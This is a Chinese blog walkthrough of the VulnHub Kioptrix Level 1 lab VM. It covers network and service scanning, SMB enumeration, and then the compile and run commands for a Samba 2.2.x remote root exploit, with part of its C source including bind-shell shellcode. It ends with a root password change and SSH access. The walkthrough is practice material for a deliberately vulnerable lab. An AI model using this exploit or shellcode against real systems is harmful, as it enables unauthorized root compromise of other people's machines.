【Vulnhub通关】Kioptrix:Level 1 (#1)

news2024/11/6 3:13:48

文章目录

  • 准备工作
    • 靶机基本信息
    • 下载
  • 渗透流程
    • 主机发现
    • 目标扫描
    • 服务探测
      • HTTP(S)服务
      • SMB文件共享服务
  • 权限提升
  • 本次靶机测试到此结束

在这里插入图片描述

注意:本文转载自本人稀土掘金博客。博客地址:御坂19008号 的个人主页 - 动态 - 掘金


准备工作

靶机基本信息

靶机名称:Kioptrix Level 1
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络(无法更改)
渗透测试目标:获取靶机root用户权限和交互式Shell.
下载地址:Kioptrix: Level 1 (#1) ~ VulnHub
截图_选择区域_20230913100910.png

下载

  • 打开下载链接,将RAR格式的压缩包解压至指定目录。
  • 点击VMware Workstation中的 File -> Scan for Virtual Machines 按钮,在弹出的对话框中选择正确的目录,扫描虚拟机添加即可。

渗透流程

主机发现

由于靶机网络配置为桥接至物理网络,所以作者将攻击机也设置为桥接模式以方便进行网络发现。在Kali Linux中,可使用如下命令进行网络发现(网段为192.168.2.0/24):

# netdiscover -r <IP地址>
netdiscover -r 192.168.2.0/24

执行结果如下图:

在这里插入图片描述

其中的IP地址:

  • 192.168.2.1   -->  电信路由器(因为有中兴的字样
  • 192.168.2.100  -->  作者的物理机(有微星网卡的字样
  • 192.168.2.110  -->  目标靶机(VMware的字样

目标扫描

锁定目标靶机之后就可以对其进行一个初步的扫描。先使用nmap工具对其进行端口探测:

nmap 192.168.2.110

结果如下:

在这里插入图片描述
可以看到目标主机开放了6个端口,接下来使用nmap进行详细扫描:

# -A    扫描操作系统与软件版本
# -sC   使用默认脚本扫描主机的所有TCP端口
# -Pn   关闭ICMP探测
nmap -A -sC -Pn 192.168.2.110

扫描结果如下图:

在这里插入图片描述

可以看到主机开放端口的详细信息:

端口服务名称版本信息传输层
协议类型

22

SSH

OpenSSH 2.9p2 (protocol 1.99)

TCP

80

HTTP

Apache httpd 1.3.20
((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

TCP

111

RPC

2 (RPC #100000)

TCP/UDP

139
1024

netbios-ssn(SMB)

Samba smbd (workgroup: PMYGROUP)

TCP

443

HTTPS

Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

TCP

同时确定目标操作系统为RedHat Linux,Linux内核版本大概在2.4.92.4.18之间。

服务探测

HTTP(S)服务

打开浏览器,访问靶机网址:

  • http://192.168.2.110/
  • https://192.168.2.110/

在这里插入图片描述
打开两个网址,貌似全部是默认页面。

网站目录扫描

先使用dirsearch工具对网站目录进行爆破:

# 扫描HTTP网站
dirsearch -u http://192.168.2.110/
# 扫描HTTPS网站
dirsearch -u https://192.168.2.110/

在这里插入图片描述
这里不知为何HTTPS网站无法正常扫描。

扫描之后确定可以尝试访问的页面如下(包括HTTPS):

  • /index.html
  • /manual/
  • /test.php
  • /usage
访问测试
  1. 访问index.html,发现是默认页面,而且查看源码没有有价值的信息,直接忽略。
  2. 访问manual,发现有一个文件目录列表,里面只有一个名称为mod的文件夹,点击后发现文件夹中有如下内容:

在这里插入图片描述
访问之后看上去像是Apache对SSL模块和Perl模块的说明文档,查看后貌似没有任何有价值的信息,摸不着头脑;只知道SSL模块的版本为2.8,以及Apache的版本为1.3b5

  1. 访问test.php,发现页面上只显示了3行PHP脚本源代码,貌似靶机的Apache服务器根本没有PHP模块:
<?php4

	print "TEST";

?>
  1. 访问/usage/页面,发现了如下内容:

在这里插入图片描述
看起来像是一个记录服务器访问信息的页面,全部是静态页面,最底下有个Generated by Webalizer Version 2.01的字样。上网搜了一下:

在这里插入图片描述
5. 除了上述页面,没有发现其它的可访问的网页了。

SMB文件共享服务

先使用nbtscan工具扫描一下靶机:

nbtscan -r 192.168.2.110

成功扫描出了一些信息:

在这里插入图片描述
接着使用enum4linux工具扫描一下:

在这里插入图片描述
发现了如下信息:

  • 域/工作组名称:MYGROUP
  • 可用的用户名:administrator, guest, krbtgt, domain admins, root, bin, none
  • RID范围:500-5501000-1050

尝试使用smbclient工具登录服务:

smbclient -L 192.168.2.110

在这里插入图片描述
得到了2个共享目录:IPC$ADMIN$,尝试访问一下:
在这里插入图片描述
发现匿名访问成功了???

但执行了一大堆命令,发现连操作权限也没有:

在这里插入图片描述

思前想后,最终决定用nmap扫描一下SMB服务,希望可以扫描到SMB的软件版本信息:

# 使用nmap脚本目录中所有文件名带smb字样的脚本进行扫描
nmap -p 139 --script=*smb* 192.168.2.110

在这里插入图片描述
可以看到没有扫描出SMB软件版本,但直接把漏洞扫出来了。(漏洞编号:CVE-2009-3103

最后通过其它途径找到了另外一个EXP,部分代码如下:

/*
    Remote root exploit for Samba 2.2.x and prior that works against
    Linux (all distributions), FreeBSD (4.x, 5.x), NetBSD (1.x) and
    OpenBSD (2.x, 3.x and 3.2 non-executable stack).
    sambal.c is able to identify samba boxes. It will send a netbios
    name packet to port 137. If the box responds with the mac address
    00-00-00-00-00-00, it's probally running samba.

    [esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0
    samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
    --------------------------------------------------------------
    + Scan mode.
    + [192.168.0.3] Samba
    + [192.168.0.10] Windows
    + [192.168.0.20] Windows
    + [192.168.0.21] Samba
    + [192.168.0.30] Windows
    + [192.168.0.31] Samba
    + [192.168.0.33] Windows
    + [192.168.0.35] Windows
    + [192.168.0.36] Windows
    + [192.168.0.37] Windows
    ...
    + [192.168.0.133] Samba

    Great!
    You could now try a preset (-t0 for a list), but most of the
    time bruteforce will do. The smbd spawns a new process on every
    connect, so we can bruteforce the return address...

    [esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133
    samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
    --------------------------------------------------------------
    + Verbose mode.
    + Bruteforce mode. (Linux)
    + Using ret: [0xbffffed4]
    + Using ret: [0xbffffda8]
    + Using ret: [0xbffffc7c]
    + Using ret: [0xbffffb50]
    + Using ret: [0xbffffa24]
    + Using ret: [0xbffff8f8]
    + Using ret: [0xbffff7cc]
    + Worked!
    --------------------------------------------------------------
  Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586
 i586 i386 GNU/Linux
    uid=0(root) gid=0(root) groups=99(nobody)

sambal.c : samba-2.2.8 < remote root exploit by eSDee (www.netric.org|

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

typedef struct {
        unsigned char type;
        unsigned char flags;
        unsigned short length;
} NETBIOS_HEADER;

typedef struct {
        unsigned char protocol[4];
        unsigned char command;
        unsigned short status;
        unsigned char reserved;
        unsigned char  flags;
        unsigned short flags2;
        unsigned char  pad[12];
        unsigned short tid;
        unsigned short pid;
        unsigned short uid;
        unsigned short mid;
} SMB_HEADER;

int OWNED = 0;
pid_t childs[100];
struct sockaddr_in addr1;
struct sockaddr_in addr2;

char linux_bindcode[] =
        "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"
        "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"
        "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"
        "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"
        "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
        "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
        "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
        "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"
        "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"
        "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
        "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"
        "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"
        "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";

编译C++源代码文件:

gcc ./kioptrix1_samba_vul.c -o ./kioptrix1_samba_vul

进行漏洞利用:

./kioptrix1_samba_vul -b 0 -v 192.168.2.110

在这里插入图片描述
可以看到已经获得root权限,下一步是尝试登录SSH。


权限提升

由于使用EXP已经获得简易的高权限Shell,所以下一步只要尝试修改root用户密码,登录SSH就行了。

先查看下靶机是否有SSH服务:

ssh -V

返回信息如下:

OpenSSH_2.9p2, SSH protocols 1.5/2.0, OpenSSL 0x0090602f

现在尝试使用passwd命令修改root密码:

passwd root
New password: *********
Retype new password: *********
Changing password for user root
passwd: all authentication tokens updated successfully

可以看到密码已经修改成功,接下来在Kali Linux中尝试使用SSH登录:

┌──(root㉿hacker)-[~]
└─# ssh root@192.168.2.110
Unable to negotiate with 192.168.2.110 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

报错,查看报错信息,发现提示没有双方共用的加密算法,并给出了需要的算法名称。

百度一下,说是要在~/.ssh/config文件中添加加密算法配置,于是:

添加密钥交换算法.jpg

再次连接,发现又报错:

┌──(root㉿hacker)-[~]
└─# ssh root@192.168.2.110
Unable to negotiate with 192.168.2.110 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

百度一下,往文件中添加:

echo "        HostKeyAlgorithms +ssh-dss" >> ~/.ssh/config

第三次连接,还是报错:

┌──(root㉿hacker)-[~]
└─# ssh root@192.168.2.110                                    
Unable to negotiate with 192.168.2.110 port 22: no matching cipher found. Their offer: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael128-cbc,rijndael192-cbc,rijndael256-cbc,rijndael-cbc@lysator.liu.se

嗯。。。。。。还是“耐心地”百度亿下。。。。。。(咬牙切齿):

银狼的肯定.jpg

往文件中添加:

echo "        Ciphers +aes128-cbc" >> ~/.ssh/config

再看看。。。。。。
在这里插入图片描述
success.webp

查询操作系统信息:
在这里插入图片描述


本次靶机测试到此结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1406892.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SUSE Linux 15 SP5 安装图解

风险告知 本人及本篇博文不为任何人及任何行为的任何风险承担责任&#xff0c;图解仅供参考&#xff0c;请悉知&#xff01;本次安装图解是在一个全新的演示环境下进行的&#xff0c;演示环境中没有任何有价值的数据&#xff0c;但这并不代表摆在你面前的环境也是如此。生产环境…

寒假思维训练day12 E. Increasing Subsequences

适合喜欢算法、对算法感兴趣的朋友。 今天又来更新啦&#xff0c;断更一天&#xff0c;有点摆了&#xff0c;今天继续补上&#xff0c;献上一道1800的构造。 摘要&#xff1a; part1&#xff1a;关于一些构造题的总结 part2: 每日一题: Problem - E - Codeforces (链接在此…

【XR806开发板试用】通过MQTT实现手机远程实现PWM控灯

本文参与极术社区的《基于安谋科技STAR-MC1的XR806开发板试用》活动。 一、例程编译、烧录确认 首先按照全志在线文档平台的点灯教程确保能正常编译、烧录和点灯&#xff1a;https://xr806.docs.aw-ol.com/study/soft_led/ 确保例程没问题后&#xff0c;我们再改造例程&#xf…

Java入门高频考查基础知识5(扎实技术基础应变一切变化-45题4.2万字参考答案)

技术变革裁员影响的因素&#xff1a; 自动化替代简单重复性工作&#xff1a;随着技术的发展&#xff0c;一些简单、重复性的编码任务可能被自动化工具或者机器学习算法取代。这可能导致一些岗位的需求减少或者消失&#xff0c;从而可能导致部分人员裁员。 技能更新要求&#x…

怎么移除WordPress后台工具栏“新建”菜单?如何添加“新建文章”菜单?

默认情况下&#xff0c;WordPress后台顶部管理工具栏有左侧有一个“新建”菜单&#xff0c;而且还有下拉菜单文章、媒体、链接、页面和用户等&#xff0c;不过我们平时用得最多的就是“新建文章”&#xff0c;虽然可以直接点击“新建”&#xff0c;或点击“新建 – 文章”&…

Spring5系列学习文章分享---第三篇(AOP概念+原理+动态代理+术语+Aspect+操作案例(注解与配置方式))

目录 AOP概念AOP底层原理AOP(JDK动态代理)使用 JDK 动态代理&#xff0c;使用 Proxy 类里面的方法创建代理对象**编写** **JDK** 动态代理代码 AOP(术语)AOP操作&#xff08;准备工作&#xff09;**AOP** **操作&#xff08;**AspectJ注解)**AOP** **操作&#xff08;**AspectJ…

c++ 包管理工具vcpkg

微软包管理工具 一、下载 git clone https://github.com/microsoft/vcpkg二、初始化 ./vcpkg/bootstrap-vcpkg.sh三、查看帮助文档 ./vcpkg/vcpkg help四、安装包 vcpkg/vcpkg install fmt五、查看安装包 vcpkg/vcpkg list输出 包实际安装路径 ./vcpkg/packages/fmt_x…

LoadRunner从零开始之走近LoadRunner

3.1 LoadRunner 的运行原理 安装LoadRunner 后&#xff0c;在菜单“开始” 一“MercuryLoadRunner” 中&#xff0c;你会看 到这样一组程序&#xff0c;如图 3-1 所示。 • 其中Applications 下面的Analysis、Controller 和Virtual User Generator 是我们 做性能测试最常用的…

大学生求职遇到在线测评 需要结合实际做吗

每年毕业季&#xff0c;都有大量的大学生求职&#xff0c;企业在这个时候往往能够收到很多的求职简历&#xff0c;尤其是一些比较好的岗位&#xff0c;原本只是想要招收10个人&#xff0c;但是结果光是简历就收到上千个简历&#xff0c;一个个面试不实际&#xff0c;浪费时间和…

猫用空气净化器哪些好?五款宠物空气净化推荐!

如今&#xff0c;养宠物的家庭越来越多了&#xff01;家里因此变得更加温馨&#xff0c;但同时也会带来一些问题&#xff0c;比如异味和空气中的毛发可能会对健康造成困扰。 为了避免家中弥漫着异味&#xff0c;特别是来自宠物便便的味道&#xff0c;一款能够处理家里异味的宠…

数字证书和数字证书认证机构和数字根证书,CA,RCA

文章目录 一、 数字证书1、什么是数字证书2、数字证书干什么的3、风险 二、数字证书认证机构&#xff08;Certificate Authority&#xff0c;缩写为CA&#xff09;参考文章 一、 数字证书 维基百科 公开密钥认证&#xff08;英语&#xff1a;Public key certificate&#xff…

Unity Text超框 文字滚动循环显示

Unity Text超框 文字滚动循环显示 //container Text using System.Collections; using System.Collections.Generic; using Unity.VisualScripting; using UnityEngine; using UnityEngine.UI;public class AutoScrollText : MonoBehaviour {private Text[] _texts new Text[…

项目难点和优化

难点: 对于同一个位置百度地图定位的经纬度和腾讯地图定位的经纬度不一样&#xff1f; 解决&#xff1a;由于两者所用的算法不同&#xff0c;计算出来的经纬度也是不一样的&#xff0c;将百度地图的经纬度转换成腾讯地图的经纬度/腾讯的经纬度转化百度的经纬度 export functi…

【超简版,代码可用!】【0基础Python爬虫入门——下载歌曲/视频】

安装第三方模块— requests 完成图片操作后输入&#xff1a;pip install requests 科普&#xff1a; get:公开数据 post:加密 &#xff0c;个人信息 进入某音乐网页&#xff0c;打开开发者工具F12 选择网络&#xff0c;再选择—>媒体——>获取URL【先完成刷新页面】 科…

环保投入超20亿,齐鲁制药集团争做绿色制药标杆

近期&#xff0c;由人民日报社指导、人民网主办的2023人民企业社会责任荣誉盛典暨第十八届人民企业社会责任奖颁奖活动在京举行&#xff0c;齐鲁制药集团荣获“人民企业社会责任奖绿色发展奖”。多年来&#xff0c;齐鲁制药深入践行“绿水青山就是金山银山”理念&#xff0c;积…

【Linux】Linux进程间通信

Linux进程间通信 一、进程间通信介绍1、概念2、进程间通信目的3、进程间通信的本质4、进程间通信分类 二、管道1、什么是管道2、匿名管道&#xff08;1&#xff09;匿名管道原理&#xff08;2&#xff09;pipe函数&#xff08;3&#xff09;匿名管道的使用步骤i、父进程调用pip…

SUSE Linux 12 SP5 安装图解

风险告知 本人及本篇博文不为任何人及任何行为的任何风险承担责任&#xff0c;图解仅供参考&#xff0c;请悉知&#xff01;本次安装图解是在一个全新的演示环境下进行的&#xff0c;演示环境中没有任何有价值的数据&#xff0c;但这并不代表摆在你面前的环境也是如此。生产环境…

idea中debug Go程序报错error layer=debugger could not patch runtime.mallogc

一、问题场景 在idea中配置了Go编程环境&#xff0c;可以运行Go程序&#xff0c;但是无法debug&#xff0c;报错error layerdebugger could not patch runtime.mallogc: no type entry found, use ‘types’ for a list of valid types 二、解决方案 这是由于idea中使用的d…

定向减免!函数计算让 ETL 数据加工更简单

业内较为常见的高频短时 ETL 数据加工场景&#xff0c;即频率高时延短&#xff0c;一般费用大头均在函数调用次数上&#xff0c;推荐方案一般为攒批处理&#xff0c;高额的计算成本往往令用户感到头疼&#xff0c;函数计算推出定向减免方案&#xff0c;让 ETL数据加工更简单、更…

一篇文章带你搞懂非关系型数据库MongoDB

目录 一、引言 二、核心概念 三、使用场景 四、最佳实践 五、总结 一、引言 随着互联网技术的快速发展&#xff0c;大数据和云计算的普及&#xff0c;传统的关系型数据库在处理海量数据和高并发请求时逐渐显得力不从心。为了满足这些新的需求&#xff0c;非关系型数据库应…